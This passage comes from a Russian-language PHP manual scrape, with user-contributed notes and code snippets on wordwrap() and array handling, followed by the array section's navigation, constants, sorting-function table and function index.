        $arr_r=array();
        for ($a=0;strlen($string_r)>$a;$a++) $arr_r[]=$string_r{$a};
        // reverse array again
        $arr_l=array_reverse($arr_r);
        // string with wrap
        $txt='';
        foreach ($arr_l as $arr_line => $arr) $txt.=$arr;
        }
    return $txt;
    }
?>
Matt at newbiewebdevelopment dot idk 04-Mar-2009 01:53
My version of multibyte wordwrap

<?php
function mb_wordwrap($string, $width=75, $break="\n", $cut = false) {
    if (!$cut) {
        $regexp = '#^(?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){'.$width.',}\b#U';
    } else {
        $regexp = '#^(?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){'.$width.'}#';
    }
    $string_length = mb_strlen($string,'UTF-8');
    $cut_length = ceil($string_length / $width);
    $i = 1;
    $return = '';
    while ($i < $cut_length) {
        preg_match($regexp, $string,$matches);
        $new_string = $matches[0];
        $return .= $new_string.$break;
        $string = substr($string, strlen($new_string));
        $i++;
    }
    return $return.$string;
}

$mb_string = "?????";//Hello in Japanese
$cut_mb_string = mb_wordwrap($mb_string,1," ",true); //? ? ? ? ?
print($cut_mb_string);
?>
php at maranelda dot org 16-Sep-2008 04:17
Anyone attempting to write a text email client should be aware of the following:

<?php

$a = "some text that must wrap nice";

$a = wordwrap($a, 9);

echo $a;

//  some text
//  that must
//  wrap nice

$a = wordwrap($a, 9);

echo $a;

//  some text
//  that
//  must
//  wrap
//  nice

?>

Subsequent uses of wordwrap() on already wrapped text will take the end-of-line characters into account when working out line length, thus reading each line that just fit nicely the first time around as being one character too long the second. This can be a problem when preparing a text email that contains (eg.) a forwarded email which has already been word-wrapped.

Solutions below which explode() the text on end-of-lines and wordwrap() the resulting strings separately take care of this nicely.
$del=' at '; 'sanneschaap' dot $del dot 'gmail dot com' 17-Apr-2008 01:41
These functions let you wrap strings comparing to their actual displaying width of proportional font. In this case Arial, 11px. Very handy in some cases since CSS3 is not yet completely supported. 100 strings = ~5 ms

My old sheep word wrap function (posted at the bottom of this page, is kinda old dated and this one is faster and more accurate).

<?php
//the width of the biggest char @
$fontwidth = 11;

//each chargroup has char-ords that have the same proportional displaying width
$chargroup[0] = array(64);
$chargroup[1] = array(37,87,119);
$chargroup[2] = array(65,71,77,79,81,86,89,109);
$chargroup[3] = array(38,66,67,68,72,75,78,82,83,85,88,90);
$chargroup[4] = array(35,36,43,48,49,50,51,52,53,54,55,56,57,60,61,62,63, 69,70,76,80,84,95,97,98,99,100,101,103,104,110,111,112, 113,115,117,118,120,121,122,126);
$chargroup[5] = array(74,94,107);
$chargroup[6] = array(34,40,41,42,45,96,102,114,123,125);
$chargroup[7] = array(44,46,47,58,59,91,92,93,116);
$chargroup[8] = array(33,39,73,105,106,108,124);

//how the displaying width are compared to the biggest char width
$chargroup_relwidth[0] = 1; //is char @
$chargroup_relwidth[1] = 0.909413854;
$chargroup_relwidth[2] = 0.728241563;
$chargroup_relwidth[3] = 0.637655417;
$chargroup_relwidth[4] = 0.547069272;
$chargroup_relwidth[5] = 0.456483126;
$chargroup_relwidth[6] = 0.36589698;
$chargroup_relwidth[7] = 0.275310835;
$chargroup_relwidth[8] = 0.184724689;

//build fast array
$char_relwidth = null;
for ($i=0;$i<count($chargroup);$i++){
    for ($j=0;$j<count($chargroup[$i]);$j++){
        $char_relwidth[$chargroup[$i][$j]] = $chargroup_relwidth[$i];
    }
}

//get the display width (in pixels) of a string
function get_str_width($str){
    global $fontwidth,$char_relwidth;
    $result = 0;
    for ($i=0;$i<strlen($str);$i++){
        $result += $char_relwidth[ord($str[$i])];
    }
    $result = $result * $fontwidth;
    return $result;
}

//truncates a string at a certain displaying pixel width
function truncate_str_at_width($str, $width, $trunstr='...'){
    global $fontwidth,$char_relwidth;
    $trunstr_width = get_str_width($trunstr);
    $width -= $trunstr_width;
    $width = $width/$fontwidth;
    $w = 0;
    for ($i=0;$i<strlen($str);$i++){
        $w += $char_relwidth[ord($str[$i])];
        if ($w > $width)
            break;
    }
    $result = substr($str,0,$i).$trunstr;
    return $result;
    // texas is the reason rules at 10am :)
}
?>
joachim 16-Apr-2008 02:42
There seems to be a difference between php 5.1 and 5.2 in how wordwrap counts characters (all on Mac OSX 10.5.2):

/Applications/MAMP/bin/php5/bin/php --version
PHP 5.1.6 (cli) (built: Sep  8 2006 10:25:04)

/Applications/MAMP/bin/php5/bin/php -r 'echo wordwrap("In aller Freundschaft (50)_UT", 20) . "\n";'
In aller
Freundschaft
(50)_UT

php --version
PHP 5.2.5 (cli) (built: Feb 20 2008 12:30:47)

php -r 'echo wordwrap("In aller Freundschaft (50)_UT", 20) . "\n";'
In aller
Freundschaft (50)_UT
Peter 19-Dec-2006 05:00
The main concern when you have a text in a cell is for long words that drags the cell margins. This function will break words in a text that have more then $nr characters using the "-" char.

<?php
function processtext($text,$nr=10)
    {
        $mytext=explode(" ",trim($text));
        $newtext=array();
        foreach($mytext as $k=>$txt)
        {
            if (strlen($txt)>$nr)
            {
                $txt=wordwrap($txt, $nr, "-", 1);
            }
            $newtext[]=$txt;
        }
        return implode(" ",$newtext);
    }
?>
Dave Lozier - dave at fusionbb.com 30-Nov-2005 12:48
If you'd like to break long strings of text but avoid breaking html you may find this useful. It seems to be working for me, hope it works for you. Enjoy. :)

<?php
    function textWrap($text) {
        $new_text = '';
        $text_1 = explode('>',$text);
        $sizeof = sizeof($text_1);
        for ($i=0; $i<$sizeof; ++$i) {
            $text_2 = explode('<',$text_1[$i]);
            if (!empty($text_2[0])) {
                $new_text .= preg_replace('#([^\n\r .]{25})#i', '\\1  ', $text_2[0]);
            }
            if (!empty($text_2[1])) {
                $new_text .= '<' . $text_2[1] . '>';
            }
        }
        return $new_text;
    }
?>
frans-jan at van-steenbeek dot R-E-M-O-V-E dot net 16-Nov-2005 06:17
Using wordwrap is usefull for formatting email-messages, but it has a disadvantage: line-breaks are often treated as whitespaces, resulting in odd behaviour including lines wrapped after just one word.

To work around it I use this:

<?php
 function linewrap($string, $width, $break, $cut) {
  $array = explode("\n", $string);
  $string = "";
  foreach($array as $key => $val) {
   $string .= wordwrap($val, $width, $break, $cut);
   $string .= "\n";
  }
  return $string;
 }
?>

I then use linewrap() instead of wordwrap()

hope this helps someone
bruceboughton @ google mail 04-May-2005 03:08
I found that wordwrap deletes the spaces it wraps on. If you want to break up a string which doesn't consist of words, you may find this behaviour undesirable, as I did when trying to wordwrap a Regular Expression to 80 characters (for display along with test string, matches, etc.).

To preserve the spaces and still achieve a consistent cut length, you need to replace spaces with a suitable one-character replacement. I chose the ASCII non-printing character SUB (ASCII #26; some old telephone code meaning substitute):

<?php
$regex= str_replace(' ', chr(26), $regex);
$regex= wordwrap($regex, 80, '<br />', TRUE);
$regex= str_replace(chr(26), ' ', $regex);
?>

(Of course, you need to replace 80 with your column length and '<br />' with your break string)


Модули, относящиеся к переменным и типам

  • Массивы
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Сортировка массивов
    • Функции для работы с массивами
  • Классы и объекты — Информация о классе и объекте
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Функции работы с классами и объектами
  • Ctype — Функции проверки типа символов
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции Ctype
  • Filter — Фильтрация данных
    • Введение
    • Установка и настройка
    • Типы фильтров
    • Предопределённые константы
    • Примеры
    • Функции фильтрации данных
  • Управление функциями
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции управления функциями
  • Quickhash
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • QuickHashIntSet — Класс QuickHashIntSet
    • QuickHashIntHash — Класс QuickHashIntHash
    • QuickHashStringIntHash — Класс QuickHashStringIntHash
    • QuickHashIntStringHash — Класс QuickHashIntStringHash
  • Reflection
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Расширение
    • Reflection — Класс Reflection
    • ReflectionClass — Класс ReflectionClass
    • ReflectionClassConstant — Класс ReflectionClassConstant
    • ReflectionEnum — Класс ReflectionEnum
    • ReflectionEnumUnitCase — Класс ReflectionEnumUnitCase
    • ReflectionEnumBackedCase — Класс ReflectionEnumBackedCase
    • ReflectionZendExtension — Класс ReflectionZendExtension
    • ReflectionExtension — Класс ReflectionExtension
    • ReflectionFunction — Класс ReflectionFunction
    • ReflectionFunctionAbstract — Класс ReflectionFunctionAbstract
    • ReflectionMethod — Класс ReflectionMethod
    • ReflectionNamedType — Класс ReflectionNamedType
    • ReflectionObject — Класс ReflectionObject
    • ReflectionParameter — Класс ReflectionParameter
    • ReflectionProperty — Класс ReflectionProperty
    • ReflectionType — Класс ReflectionType
    • ReflectionUnionType — Класс ReflectionUnionType
    • ReflectionGenerator — Класс ReflectionGenerator
    • ReflectionFiber — Класс ReflectionFiber
    • ReflectionIntersectionType — Класс ReflectionIntersectionType
    • ReflectionReference — Класс ReflectionReference
    • ReflectionAttribute — Класс ReflectionAttribute
    • Reflector — Интерфейс Reflector
    • ReflectionException — Класс ReflectionException
  • Обработка переменных
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции для работы с переменными

User Contributed Notes

There are no user contributed notes for this page.


Массивы

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Сортировка массивов
  • Функции для работы с массивами
    • array_change_key_case — Меняет регистр всех ключей в массиве
    • array_chunk — Разбивает массив на части
    • array_column — Возвращает массив из значений одного столбца входного массива
    • array_combine — Создаёт новый массив, используя один массив в качестве ключей, а другой для его значений
    • array_count_values — Подсчитывает количество вхождений каждого отдельного значения в массиве
    • array_diff_assoc — Вычисляет расхождение массивов с дополнительной проверкой индекса
    • array_diff_key — Вычисляет расхождение массивов, сравнивая ключи
    • array_diff_uassoc — Вычисляет расхождение массивов с дополнительной проверкой индекса через пользовательскую callback-функцию
    • array_diff_ukey — Вычисляет расхождение массивов, используя callback-функцию для сравнения ключей
    • array_diff — Вычисляет расхождение массивов
    • array_fill_keys — Создаёт массив и заполняет его значениями с определёнными ключами
    • array_fill — Заполняет массив значениями
    • array_filter — Фильтрует элементы массива с помощью callback-функции
    • array_flip — Меняет местами ключи с их значениями в массиве
    • array_intersect_assoc — Вычисляет пересечение массивов с дополнительной проверкой индекса
    • array_intersect_key — Вычисляет пересечение массивов, сравнивая ключи
    • array_intersect_uassoc — Вычисляет пересечение массивов с дополнительной проверкой индекса, сравнивая индексы через callback-функцию
    • array_intersect_ukey — Вычисляет пересечение массивов, используя callback-функцию для сравнения ключей
    • array_intersect — Вычисляет пересечение массивов
    • array_is_list — Проверяет, является ли данный array списком
    • array_key_exists — Проверяет, существует ли в массиве заданный ключ или индекс
    • array_key_first — Получает первый ключ массива
    • array_key_last — Получает последний ключ массива
    • array_keys — Возвращает все или некоторое подмножество ключей массива
    • array_map — Применяет callback-функцию ко всем элементам указанных массивов
    • array_merge_recursive — Рекурсивно сливает один или несколько массивов
    • array_merge — Сливает один или несколько массивов
    • array_multisort — Сортирует несколько массивов или многомерные массивы
    • array_pad — Дополняет массив значением до заданной длины
    • array_pop — Извлекает последний элемент массива
    • array_product — Вычисляет произведение значений массива
    • array_push — Добавляет один или несколько элементов в конец массива
    • array_rand — Выбирает один или несколько случайных ключей из массива
    • array_reduce — Итеративно уменьшает массив к единственному значению, используя callback-функцию
    • array_replace_recursive — Рекурсивно заменяет элементы первого массива элементами переданных массивов
    • array_replace — Заменяет элементы массива элементами других переданных массивов
    • array_reverse — Возвращает массив с элементами в обратном порядке
    • array_search — Ищет значение в массиве и в случае успешного поиска возвращает ключ первого найденного элемента
    • array_shift — Извлекает первый элемент массива
    • array_slice — Выбирает срез массива
    • array_splice — Удаляет часть массива и заменяет её чем-нибудь ещё
    • array_sum — Вычисляет сумму значений массива
    • array_udiff_assoc — Вычисляет расхождение в массивах с дополнительной проверкой индексов, используя для сравнения значений callback-функцию
    • array_udiff_uassoc — Вычисляет расхождение в массивах с дополнительной проверкой индексов, используя для сравнения значений и индексов callback-функцию
    • array_udiff — Вычисляет расхождение массивов, используя для сравнения callback-функцию
    • array_uintersect_assoc — Вычисляет пересечение массивов с дополнительной проверкой индексов, используя для сравнения значений callback-функцию
    • array_uintersect_uassoc — Вычисляет пересечение массивов с дополнительной проверкой индекса, используя для сравнения индексов и значений отдельные callback-функции
    • array_uintersect — Вычисляет пересечение массивов, используя для сравнения значений callback-функцию
    • array_unique — Убирает повторяющиеся значения из массива
    • array_unshift — Добавляет один или несколько элементов в начало массива
    • array_values — Возвращает все значения массива
    • array_walk_recursive — Рекурсивно применяет пользовательскую функцию к каждому элементу массива
    • array_walk — Применяет заданную пользователем функцию к каждому элементу массива
    • array — Создаёт массив
    • arsort — Сортирует массив в порядке убывания, сохраняя ассоциацию индексов
    • asort — Сортирует массив в порядке возрастания, сохраняя ассоциацию индексов
    • compact — Создаёт массив, содержащий названия переменных и их значения
    • count — Подсчитывает количество элементов в массиве или в объекте Countable
    • current — Возвращает текущий элемент массива
    • each — Возвращает текущую пару ключа и значения массива и сдвигает указатель на одну позицию вперёд
    • end — Устанавливает внутренний указатель массива на последний элемент
    • extract — Импортирует переменные массива в текущую таблицу символов
    • in_array — Проверяет, присутствует ли в массиве значение
    • key_exists — Псевдоним array_key_exists
    • key — Получает ключ массива
    • krsort — Сортирует массив по ключу в порядке убывания
    • ksort — Сортирует массив по ключу в порядке возрастания
    • list — Присваивает переменным значения похожим на массивы синтаксисом
    • natcasesort — Сортирует массив алгоритмом естественной сортировки (natural order) без учёта регистра символов
    • natsort — Сортирует массив, для чего использует алгоритм «естественной сортировки»
    • next — Сдвигает внутренний указатель массива на одну позицию вперёд
    • pos — Псевдоним current
    • prev — Сдвигает внутренний указатель массива на одну позицию назад
    • range — Создаёт массив, содержащий диапазон элементов
    • reset — Устанавливает внутренний указатель массива на первый элемент
    • rsort — Сортирует массив в порядке убывания
    • shuffle — Перемешивает массив
    • sizeof — Псевдоним count
    • sort — Сортирует массив по возрастанию
    • uasort — Сортирует массив пользовательской функцией сравнения, сохраняя ассоциацию индексов
    • uksort — Сортирует массив по ключам пользовательской функцией сравнения
    • usort — Сортирует массив по значениям используя пользовательскую функцию для сравнения элементов

User Contributed Notes

justin at jmfrazier dot com 12-Feb-2020 08:34
Using null as the key when setting an array value is NOT the same as using empty [].
<?php
  $null = null;
  $testArray = [];
  $testArray[$null] = 1;
  $testArray[$null] = 2;
  $testArray[$null] = 3;
  $testArray[$null] = 4;
  var_dump($testArray);
?>
Output:
array(1) {
  '' =>
  int(4)
}

<?php
  $testArray = [];
  $testArray[null] = 1;
  $testArray[null] = 2;
  $testArray[null] = 3;
  $testArray[null] = 4;
  var_dump($testArray);
?>
Output:
array(1) {
  '' =>
  int(4)
}

<?php
  $testArray = [];
  $testArray[] = 1;
  $testArray[] = 2;
  $testArray[] = 3;
  $testArray[] = 4;
  var_dump($testArray);
?>
Output:
array(4) {
  [0] =>
  int(1)
  [1] =>
  int(2)
  [2] =>
  int(3)
  [3] =>
  int(4)
}
web at houhejie dot cn 06-Dec-2017 02:16
string2array($str):

$arr=json_decode('["fileno",["uid","uname"],"topingid",["touid",[1,2,[3,4]],"touname"]]');
print_r($arr);

output:
Array ( [0] => fileno [1] => Array ( [0] => uid [1] => uname ) [2] => topingid [3] => Array ( [0] => touid [1] => Array ( [0] => 1 [1] => 2 [2] => Array ( [0] => 3 [1] => 4 ) ) [2] => touname ) )

when I hope a function string2array($str), "spam2"  suggest this. and It works well~~~hope this helps us,  and add to the Array function list
gratcypalma at gmail dot com 09-Sep-2013 09:57
<?php
function foo() {
    return array('name' => 'palma', 'old' => 23, 'language' => 'PHP');
}
/* 1. PHP < 5.4.0 */
$a = foo();
var_dump($a['name']);

/* 2. Works ini PHP >= 5.4.0 */

var_dump(foo()['name']);

/*
When i run second method on PHP 5.3.8 i will be show error message "PHP Fatal error:  Can't use method return value in write context"

http://www.php.net/manual/en/migration54.new-features.php
*/
spereversev at envionsoftware dot com 10-Jul-2012 10:29
<?php
function array_mask(array $array, array $keys) {
    return array_intersect_key( $array, array_fill_keys( $keys, 0 ) );
}
?>

Might be helpful to take a part of associative array containing given keys, for example, from a $_REQUEST array

array_mask($_REQUEST, array('name', 'email'));
info at curtinsNOSPAMcreations dot com 05-Nov-2010 07:49
Another way to create a multidimensional array that looks a lot cleaner is to use json_decode.  (Note that this probably adds a touch of overhead, but it sure does look nicer.)  You can of course add as many levels and as much formatting as you'd like to the string you then decode.  Don't forget that json requires " around values, not '!!  (So, you can't enclose the json string with " and use ' inside the string.)

As an example:

<?php
    $myarray['blah'] = json_decode('[
        {"label":"foo","name":"baz"},
        {"label":"boop","name":"beep"}
    ]',true);

print_r($myarray)
?>
returns:

Array
(
    [blah] => Array
        (
            [0] => Array
                (
                    [label] => foo
                    [name] => baz
                )

            [1] => Array
                (
                    [label] => boop
                    [name] => beep
                )
        )
)
dragos dot rusu at NOSPAM dot bytex dot ro 07-Mar-2010 06:15
If an array item is declared with key as NULL, array key will automatically be converted to empty string '', as follows:

<?php
$a = array(
    NULL => 'zero',
    1    => 'one',
    2    => 'two');

// This will show empty string for key associated with "zero" value
var_dump(array_keys($a));

// Array elements are shown
reset($a);
while( key($a) !== NULL )
{
  echo key($a) . ": ".current($a) . "<br>";// PHP_EOL
  next($a);
}

// Array elements are not shown
reset($a);
while( key($a) != NULL ) // '' == null   => no iteration will be executed
{
  echo key($a) . ": ".current($a) . "<br>";// PHP_EOL
  next($a);
}
John Marc 15-Feb-2010 01:30
Be careful when adding elements to a numeric array.
I wanted to store some info about some items from a database and decided to use the record id as a key.

<?php
$key=3000000000;
$DATA[$key]=true;
?>

This will create an array of 30 million elements and chances are, you will use up all memory with these 2 lines

<?php
$key=3000000000;
$DATA["$key"]=true;
?>

This on the other hand will force the array to be an associative array and will only create the one element
sunear at gmail dot com 04-Aug-2009 10:45
Made this function to delete elements in an array;

<?php

function array_del_elm($input_array, $del_indexes) {
    if (is_array($del_indexes)) {
        $indexes = $del_indexes;
    } elseif(is_string($del_indexes)) {
        $indexes = explode($del_indexes, " ");
    } elseif(is_numeric($del_indexes)) {
        $indexes[0] = (integer)$del_indexes;
    } else return;
    $del_indexes = null;

    $cur_index = 0;
    if (sort($indexes)) for($i=0; $i<count($input_array); $i++) {
        if ($i == $indexes[$cur_index]) {
            $cur_index++;
            if ($cur_index == count($indexes)) return $output_array;
            continue;
        }
        $output_array[] = $input_array[$i];
    }
    return $output_array;
}

?>

but then i saw the methods of doing the same by Tyler Bannister & Paul, could see that theirs were faster, but had floors regarding deleting multiple elements thus support of several ways of giving parameters. I combined the two methods to this to this:

<?php

function array_del_elm($target_array, $del_indexes) {
    if (is_array($del_indexes)) {
        $indexes = $del_indexes;
    } elseif(is_string($del_indexes)) {
        $indexes = explode($del_indexes, " ");
    } elseif(is_numeric($del_indexes)) {
        $indexes[0] = (integer)$del_indexes;
    } else return;
    unset($del_indexes);

    for($i=0; $i<count($indexes); $i++) {
        unset($target_array[$indexes[$i]]);
    }
    return $target_array;
}

?>

Fast, compliant and functional ;)
Tyler Bannister 11-Jun-2009 06:59
To delete an individual array element use the unset function

For example:

<?PHP
    $arr = array( "A", "B", "C" );
    unset( $arr[1] );
    // now $arr = array( "A", "C" );
?>

Unlink is for deleting files.
thomasdecaux at ebuildy dot com 15-May-2009 01:14
To browse a simple array:

<?php

foreach ($myArray AS $myItem)
{

}

?>

To browse an associative array:

<?php

foreach ($myArray AS $key=>$value)
{

}

?>

http://www.ebuildy.com
macnimble at gmail dot com 27-Mar-2009 06:59
Converting a linear array (like a mysql record set) into a tree, or multi-dimensional array can be a real bugbear. Capitalizing on references in PHP, we can 'stack' an array in one pass, using one loop, like this:

<?php
# array_stack()
# Original idea from:
# http://www.ideashower.com/our_solutions/
#   create-a-parent-child-array-structure-in-one-pass/
function array_stack (&$a, $p = '@parent', $c = '@children')
{
  $l = $t = array();
  foreach ($a AS $key => $val):
    if (!$val[$p]) $t[$key] =& $l[$key];
    else $l[$val[$p]][$c][$key] =& $l[$key];
    $l[$key] = (array)$l[$key] + $val;
  endforeach;
  return $a = array('tree' => $t, 'leaf' => $l);
}

# Example:
$node = array();
$node[1] = array('@parent' => 0, 'title' => 'I am node 1.');
#     ^-----------------------v Link @parent value to key.
$node[2] = array('@parent' => 1, 'title' => 'I am node 2.');
$node[3] = array('@parent' => 2, 'title' => 'I am node 3.');
$node[4] = array('@parent' => 1, 'title' => 'I am node 4.');
$node[5] = array('@parent' => 4, 'title' => 'I am node 5.');

array_stack($node);

$node['leaf'][1]['title'] = 'I am node one.';
$node['leaf'][2]['title'] = 'I am node two.';
$node['leaf'][3]['title'] = 'I am node three.';
$node['leaf'][4]['title'] = 'I am node four.';
$node['leaf'][5]['title'] = 'I am node five.';

echo '<pre>',print_r($node['tree'],TRUE),'</pre>';
?>

Note that there's no parameter checking on the array value, but this is only to keep the function size small. One could easily a quick check in there to make sure the $a parameter was in fact an array.

Hope you find it useful. Huge thanks to Nate Weiner of IdeaShower.com for providing the original function I built on.
andyd273 at gmail dot com 24-Feb-2009 01:12
A small correction to Endel Dreyer's PHP array to javascript array function. I just changed it to show keys correctly:

            function array2js($array,$show_keys)
            {
                $dimensoes = array();
                $valores = array();

                $total = count ($array)-1;
                $i=0;
                foreach($array as $key=>$value){
                    if (is_array($value)) {
                        $dimensoes[$i] = array2js($value,$show_keys);
                        if ($show_keys) $dimensoes[$i] = '"'.$key.'":'.$dimensoes[$i];
                    } else {
                        $dimensoes[$i] = '"'.addslashes($value).'"';
                        if ($show_keys) $dimensoes[$i] = '"'.$key.'":'.$dimensoes[$i];
                    }
                    if ($i==0) $dimensoes[$i] = '{'.$dimensoes[$i];
                    if ($i==$total) $dimensoes[$i].= '}';
                    $i++;
                }
                return implode(',',$dimensoes);
            }
Anonymous 26-Nov-2008 10:36
@jorge at andrade dot cl
This variant is faster:
<?php
function array_avg($array,$precision=2){
    if(!is_array($array))
        return 'ERROR in function array_avg(): this is a not array';

    foreach($array as $value)
        if(!is_numeric($value))
            return 'ERROR in function array_avg(): the array contains one or more non-numeric values';

    $cuantos=count($array);
  return round(array_sum($array)/$cuantos,$precision);
}
?>
webmaster at infoproducts dot x10hosting dot com 10-Oct-2008 07:13
New value can also be added to the array as shown below.
$theVariable["google"] = "http//google.com";
or
$theVariable["1"] = "http//google.com";
Jack A 07-Oct-2008 08:14
Note that arrays are not allowed in class constants and trying to do so will throw a fatal error.
contact at greyphoenix dot biz 30-Jun-2008 09:36
<?php
//Creating a multidimensional array

$theVariable = array("Search Engines" =>
array (
    0=> "http//google.com",
    1=> "http//yahoo.com",
    2=> "http//msn.com/"),

"Social Networking Sites" =>
array (
    0 => "http//www.facebook.com",
    1 => "http//www.myspace.com",
    2 => "http//vkontakte.ru",)
);

echo "The first array value is " . $theVariable['Search Engines'][0];
?>

-- Output--
The first array value is http://google.com
applegrew at rediffmail dot com 28-May-2008 08:23
For newbies like me.

Creating new arrays:-
//Creates a blank array.
$theVariable = array();

//Creates an array with elements.
$theVariable = array("A", "B", "C");

//Creating Associaive array.
$theVariable = array(1 => "http//google.com", 2=> "http://yahoo.com");

//Creating Associaive array with named keys
$theVariable = array("google" => "http//google.com", "yahoo"=> "http://yahoo.com");

Note:
New value can be added to the array as shown below.
$theVariable[] = "D";
$theVariable[] = "E";


Введение

Эти функции помогают взаимодействовать с массивами и манипулировать массивами набором способов. Массивы идеально подходят для хранения, изменения и работы с наборами переменных.

Поддерживаются одно- и многомерные массивы, как созданные пользователем, так и возвращённые в качестве результата какой-либо функцией. Используя специальные функции можно записать в массив результаты запроса к базам данных. Также существуют функции, возвращающие массивы в качестве результата.

Глава «Массивы» и описание операций над массивами подробнее рассказывают, как создавать и работать с массивами в PHP.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы доступны как часть ядра PHP.

CASE_LOWER (int)
CASE_LOWER используется с array_change_key_case() для конвертации ключей массива в нижний регистр. Это действие по умолчанию для array_change_key_case(). Начиная с PHP 8.2.0, конвертируются только символы ASCII.
CASE_UPPER (int)
CASE_UPPER используется c array_change_key_case() для конвертации ключей массива в верхний регистр. Начиная с PHP 8.2.0, конвертируются только символы ASCII.

Флаги, изменяющие порядок сортировки:

SORT_ASC (int)
SORT_ASC используется с array_multisort() для сортировки в порядке возрастания.
SORT_DESC (int)
SORT_DESC используется с array_multisort() для сортировки в порядке убывания.

Флаги сортировки, используемые различными функциями:

SORT_REGULAR (int)
SORT_REGULAR используется для обычного сравнения элементов массива.
SORT_NUMERIC (int)
SORT_NUMERIC используется для сравнения элементов как цифр.
SORT_STRING (int)
SORT_STRING используется для сравнения элементов как строк.
SORT_LOCALE_STRING (int)
SORT_LOCALE_STRING используется для сравнения элементов как строк на базе текущей локали.
SORT_NATURAL (int)
SORT_NATURAL используется для сравнения элементов как строк, используя естественное упорядочивание, такое как natsort().
SORT_FLAG_CASE (int)
SORT_FLAG_CASE может быть объединена (побитовое ИЛИ) с SORT_STRING или SORT_NATURAL для регистронезависимой сортировки строк. Начиная с PHP 8.2.0, будет выполняться только сложение регистров ASCII.

Опции фильтрации:

ARRAY_FILTER_USE_KEY (int)
ARRAY_FILTER_USE_KEY используется в array_filter() для передачи каждого ключа в виде первого аргумента в заданную функцию.
ARRAY_FILTER_USE_BOTH (int)
ARRAY_FILTER_USE_BOTH используется в array_filter() для передачи и значения и ключа в заданную функцию.

COUNT_NORMAL (int)
COUNT_RECURSIVE (int)
EXTR_OVERWRITE (int)
EXTR_SKIP (int)
EXTR_PREFIX_SAME (int)
EXTR_PREFIX_ALL (int)
EXTR_PREFIX_INVALID (int)
EXTR_PREFIX_IF_EXISTS (int)
EXTR_IF_EXISTS (int)
EXTR_REFS (int)

User Contributed Notes

There are no user contributed notes for this page.


Сортировка массивов

В PHP есть несколько функций для сортировки массивов, на этой странице даётся их общее описание.

Основные различия между функциями:

  • В одних функциях массивы (array) сортируются по ключам элементов, в других по значениям: $array['ключ'] = 'значение';
  • В каких-то функциях связь между ключами и значениями после сортировки сохраняется, в каких-то нет. Это может приводить к тому, что ключи будут сбрасываться в числовые значения (0, 1, 2, ...).
  • Различия в порядке сортировки: алфавитный, возрастающий, убывающий, числовой, естественный, случайный или определённый пользователем
  • Примечание: Все функции сортировки модифицируют переданный массив, а не возвращают отсортированную копию
  • Если какая-либо из этих функций сортировки оценивает два элемента как равные, они сохраняют свой исходный порядок. До PHP 8.0.0 их порядок не был определён (сортировка была нестабильной).

Свойства функций сортировки
Имя функции | Сортирует по | Сохраняет связь ключ - значение | Порядок сортировки | Похожие функции
array_multisort() | значению | строковые (string) ключи да, числовые (int) - нет | первый массив или настройки сортировки | array_walk()
asort() | значению | да | по возрастанию | arsort()
arsort() | значению | да | по убыванию | asort()
krsort() | ключу | да | по убыванию | ksort()
ksort() | ключу | да | по возрастанию | krsort()
natcasesort() | значению | да | естественный, нечувствительный к регистру | natsort()
natsort() | значению | да | естественный | natcasesort()
rsort() | значению | нет | по убыванию | sort()
shuffle() | значению | нет | случайный | array_rand()
sort() | значению | нет | по возрастанию | rsort()
uasort() | значению | да | определяется пользователем | uksort()
uksort() | ключу | да | определяется пользователем | uasort()
usort() | значению | нет | определяется пользователем | uasort()

User Contributed Notes

&#34;Matthew Rice&#34; 17-May-2013 08:28
While this may seem obvious, user-defined array sorting functions ( uksort(), uasort(), usort() ) will *not* be called if the array does not have *at least two values in it*.

The following code:

<?php

function usortTest($a, $b) {
    var_dump($a);
    var_dump($b);
    return -1;
}

$test = array('val1');
usort($test, "usortTest");

$test2 = array('val2', 'val3');
usort($test2, "usortTest");

?>

Will output:

string(4) "val3"
string(4) "val2"

The first array doesn't get sent to the function.

Please, under no circumstance, place any logic that modifies values, or applies non-sorting business logic in these functions as they will not always be executed.
oculiz at gmail dot com 12-Mar-2011 09:57
Another way to do a case case-insensitive sort by key would simply be:

<?php
uksort($array, 'strcasecmp');
?>

Since strcasecmp is already predefined in php it saves you the trouble to actually write the comparison function yourself.


Функции для работы с массивами

Смотрите также

Смотрите также is_array(), explode(),
implode(),
preg_split() и unset().

Содержание

  • array_change_key_case — Меняет регистр всех ключей в массиве
  • array_chunk — Разбивает массив на части
  • array_column — Возвращает массив из значений одного столбца входного массива
  • array_combine — Создаёт новый массив, используя один массив в качестве ключей, а другой для его значений
  • array_count_values — Подсчитывает количество вхождений каждого отдельного значения в массиве
  • array_diff_assoc — Вычисляет расхождение массивов с дополнительной проверкой индекса
  • array_diff_key — Вычисляет расхождение массивов, сравнивая ключи
  • array_diff_uassoc — Вычисляет расхождение массивов с дополнительной проверкой индекса через пользовательскую callback-функцию
  • array_diff_ukey — Вычисляет расхождение массивов, используя callback-функцию для сравнения ключей
  • array_diff — Вычисляет расхождение массивов
  • array_fill_keys — Создаёт массив и заполняет его значениями с определёнными ключами
  • array_fill — Заполняет массив значениями
  • array_filter — Фильтрует элементы массива с помощью callback-функции
  • array_flip — Меняет местами ключи с их значениями в массиве
  • array_intersect_assoc — Вычисляет пересечение массивов с дополнительной проверкой индекса
  • array_intersect_key — Вычисляет пересечение массивов, сравнивая ключи
  • array_intersect_uassoc — Вычисляет пересечение массивов с дополнительной проверкой индекса, сравнивая индексы через callback-функцию
  • array_intersect_ukey — Вычисляет пересечение массивов, используя callback-функцию для сравнения ключей
  • array_intersect — Вычисляет пересечение массивов
  • array_is_list — Проверяет, является ли данный array списком
  • array_key_exists — Проверяет, существует ли в массиве заданный ключ или индекс
  • array_key_first — Получает первый ключ массива
  • array_key_last — Получает последний ключ массива
  • array_keys — Возвращает все или некоторое подмножество ключей массива
  • array_map — Применяет callback-функцию ко всем элементам указанных массивов
  • array_merge_recursive — Рекурсивно сливает один или несколько массивов
